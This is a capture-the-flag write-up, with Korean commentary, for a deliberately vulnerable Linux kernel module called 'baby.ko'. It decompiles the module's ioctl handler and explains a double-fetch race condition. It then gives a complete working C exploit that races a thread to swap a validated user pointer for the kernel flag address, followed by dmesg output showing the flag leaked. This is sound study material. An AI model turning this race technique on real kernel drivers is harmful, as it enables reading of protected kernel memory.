Baby Kernel

Analysis

flag

.data:0000000000000480 _data           segment para public 'DATA' use64
.data:0000000000000480                 assume cs:_data
.data:0000000000000480                 ;org 480h
.data:0000000000000480                 public flag
.data:0000000000000480 flag            dq offset aFlagThisWillBe
.data:0000000000000480                                         ; DATA XREF: baby_ioctl+2A↑r
.data:0000000000000480                                         ; baby_ioctl+DB↑r ...
.data:0000000000000480                                         ; "flag{THIS_WILL_BE_YOUR_FLAG_1234}"
.data:0000000000000488                 align 20h

플래그가 baby.ko 모듈 데이터 영역에 하드코딩되어있다.

baby_ioctl
signed __int64 __fastcall baby_ioctl(__int64 a1, __int64 cmd)
{
  f *v2; // rdx
  signed __int64 result; // rax
  int i; // [rsp-5Ch] [rbp-5Ch]
  f *f; // [rsp-58h] [rbp-58h]

  _fentry__(a1, cmd);
  f = v2;
  if ( cmd == 0x6666 )
  {
    printk("Your flag is at %px! But I don't think you know it's content\n", flag);
    result = 0LL;
  }
  else if ( cmd == 0x1337
         && !_chk_range_not_ok(v2, 16LL, *(__readgsqword(&current_task) + 0x1358))
         && !_chk_range_not_ok(f->flag, f->len, *(__readgsqword(&current_task) + 0x1358))
         && f->len == strlen(flag) )
  {
    for ( i = 0; i < strlen(flag); ++i )
    {
      if ( f->flag[i] != flag[i] )
        return 22LL;
    }
    printk("Looks like the flag is not a secret anymore. So here is it %s\n", flag);
    result = 0LL;
  }
  else
  {
    result = 14LL;
  }
  return result;
}

cmd 파라미터가 0x6666일 경우, 하드코딩된 플래그의 주소를 출력해준다.

struct f{
	char *flag;
	size_t len;
};

0x1337일 경우 위의 구조체를 arg로 받는데, 몇 가지 검증을 한 뒤 하드코딩된 플래그와 f->flag를 한 바이트씩 비교하며 완전히 같으면 플래그를 출력해준다.

검증 과정은 아래와 같다.

1. 넘겨받은 구조체 f의 주소가 user space인지 확인
2. f->flag가 user space인지 확인
3. f->len이 strlen(flag)인지 확인

Exploit

f->flag를 하드코딩된 플래그의 주소로 돌리면 문자열 비교루틴을 통과할 수 있지만 앞서 존재하는 !_chk_range_not_ok(f->flag, f->len, *(__readgsqword(&current_task) + 0x1358))에서 이를 방지하고 있다.

Double-Fetch 취약점을 이용해 이를 우회할 수 있는데, ioctl로 정상적인 user space의 문자열을 가르키는 구조체를 계속해서 넘기는 동시에 스레드를 생성해 f->flag를 하드코딩된 플래그의 주소로 조작하면 조건 통과 이후 f->flag가 조작되어 조건 우회가 가능하다.

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
#include <pthread.h>
#include <sys/ioctl.h>

char sample[] = "flag{THIS_WILL_BE_YOUR_FLAG_1234}";

char *flag_addr;
int success = 0;

struct f{
	char *flag;
	size_t len;
};

void * double_fetch(void *s)
{
	struct f *df = s;
	while (!success)
	{
		df->flag = flag_addr;
	}

	return;
}

int main()
{
	int fd = open("/dev/baby", O_RDWR);
		
	if (fd<0)
	{
		puts("open error");
		exit(1);
	}


	ioctl(fd, 0x6666);
	system("dmesg | tail");

	printf("flag address : ");
	scanf("%p", &flag_addr);
	printf("[*] flag address : %p\n", flag_addr);

	struct f *try = (struct f * )malloc(sizeof(struct f));
	try->flag = sample;
	try->len = strlen(sample);

	pthread_t mal;
	pthread_create(&mal, NULL, double_fetch, try);

	while(ioctl(fd, 0x1337, try))
	{
		try->flag = sample;		
	}

	success = 1;
	pthread_join(mal, NULL);
	close(fd);	

	system("dmesg | tail");

	return 0;
}
/tmp $ ./exp
[    0.584920] sr 1:0:0:0: Attached scsi CD-ROM sr0
[    0.585556] sr 1:0:0:0: Attached scsi generic sg0 type 5
[    0.589813] Freeing unused kernel memory: 2400K
[    0.589815] Write protecting the kernel read-only data: 20480k
[    0.590741] Freeing unused kernel memory: 2008K
[    0.595454] Freeing unused kernel memory: 1880K
[    0.601102] x86/mm: Checked W+X mappings: passed, no W+X pages found.
[    0.618476] baby: loading out-of-tree module taints kernel.
[    0.618503] baby: module verification failed: signature and/or required key missing - tainting kernel
[    9.541128] Your flag is at ffffffffc037e028! But I don't think you know it's content
flag address : ffffffffc037e028
[*] flag address : 0xffffffffc037e028
[    0.585556] sr 1:0:0:0: Attached scsi generic sg0 type 5
[    0.589813] Freeing unused kernel memory: 2400K
[    0.589815] Write protecting the kernel read-only data: 20480k
[    0.590741] Freeing unused kernel memory: 2008K
[    0.595454] Freeing unused kernel memory: 1880K
[    0.601102] x86/mm: Checked W+X mappings: passed, no W+X pages found.
[    0.618476] baby: loading out-of-tree module taints kernel.
[    0.618503] baby: module verification failed: signature and/or required key missing - tainting kernel
[    9.541128] Your flag is at ffffffffc037e028! But I don't think you know it's content
[   12.474038] Looks like the flag is not a secret anymore. So here is it flag{THIS_WILL_BE_YOUR_FLAG_1234}